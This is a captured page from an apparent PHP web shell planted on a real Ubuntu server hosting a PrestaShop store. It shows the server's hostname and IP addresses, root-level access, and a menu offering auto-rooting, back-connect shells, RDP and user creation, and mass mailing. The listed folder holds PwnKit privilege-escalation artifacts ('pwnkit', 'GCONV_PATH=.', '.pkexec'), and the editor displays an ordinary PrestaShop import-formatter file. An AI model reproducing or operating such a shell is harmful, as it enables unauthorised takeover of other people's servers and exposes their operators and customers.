Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
src /
Adapter /
Import /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Handler
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
CsvFileOpener.php
2.8
KB
-rwxrwxrwx
DataMatchSaver.php
2.15
KB
-rwxrwxrwx
ImageCopier.php
8.25
KB
-rwxrwxrwx
ImportDataFormatter.php
3.73
KB
-rwxrwxrwx
ImportEntityDeleter.php
8.61
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImportDataFormatter.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ namespace PrestaShop\PrestaShop\Adapter\Import; use Language; use PrestaShop\PrestaShop\Adapter\Tools; use PrestaShop\PrestaShop\Core\ConfigurationInterface; /** * Class ImportDataFormatter is an adapter with data formatting methods for import. */ final class ImportDataFormatter { /** * @var ConfigurationInterface */ private $configuration; /** * @var Tools */ private $tools; public function __construct( ConfigurationInterface $configuration, Tools $tools ) { $this->configuration = $configuration; $this->tools = $tools; } /** * @param $value * * @return bool */ public function getBoolean($value) { return (bool) $value; } /** * @param string $field * * @return float */ public function getPrice($field) { $field = (float) str_replace(',', '.', $field); $field = (float) str_replace('%', '', $field); return $field; } /** * Create a multilang field. * * @param string $field * * @return array */ public function createMultiLangField($field) { $result = array(); foreach (Language::getIDs(false) as $languageId) { $result[$languageId] = $field; } return $result; } /** * Split the field by separator. * * @param string $field * @param string $separator * * @return array */ public function split($field, $separator) { if (empty($field)) { return []; } if (is_null($separator) || trim($separator) == '') { $separator = ','; } $uniqidPath = false; // try data:// protocol. If failed, old school file on filesystem. if (false === ($fd = @fopen('data://text/plain;base64,' . base64_encode($field), 'rb'))) { do { $uniqidPath = $this->configuration->get('_PS_UPLOAD_DIR_') . uniqid(); } while (file_exists($uniqidPath)); file_put_contents($uniqidPath, $field); $fd = fopen($uniqidPath, 'r'); } if ($fd === false) { return []; } $content = fgetcsv($fd, 0, $separator); fclose($fd); if ($uniqidPath !== false && file_exists($uniqidPath)) { @unlink($uniqidPath); } if (empty($content) || !is_array($content)) { return []; } return $content; } /** * Transform given value into a friendly url string. * * @param string $value * * @return string */ public function createFriendlyUrl($value) { return $this->tools->linkRewrite($value); } }
Close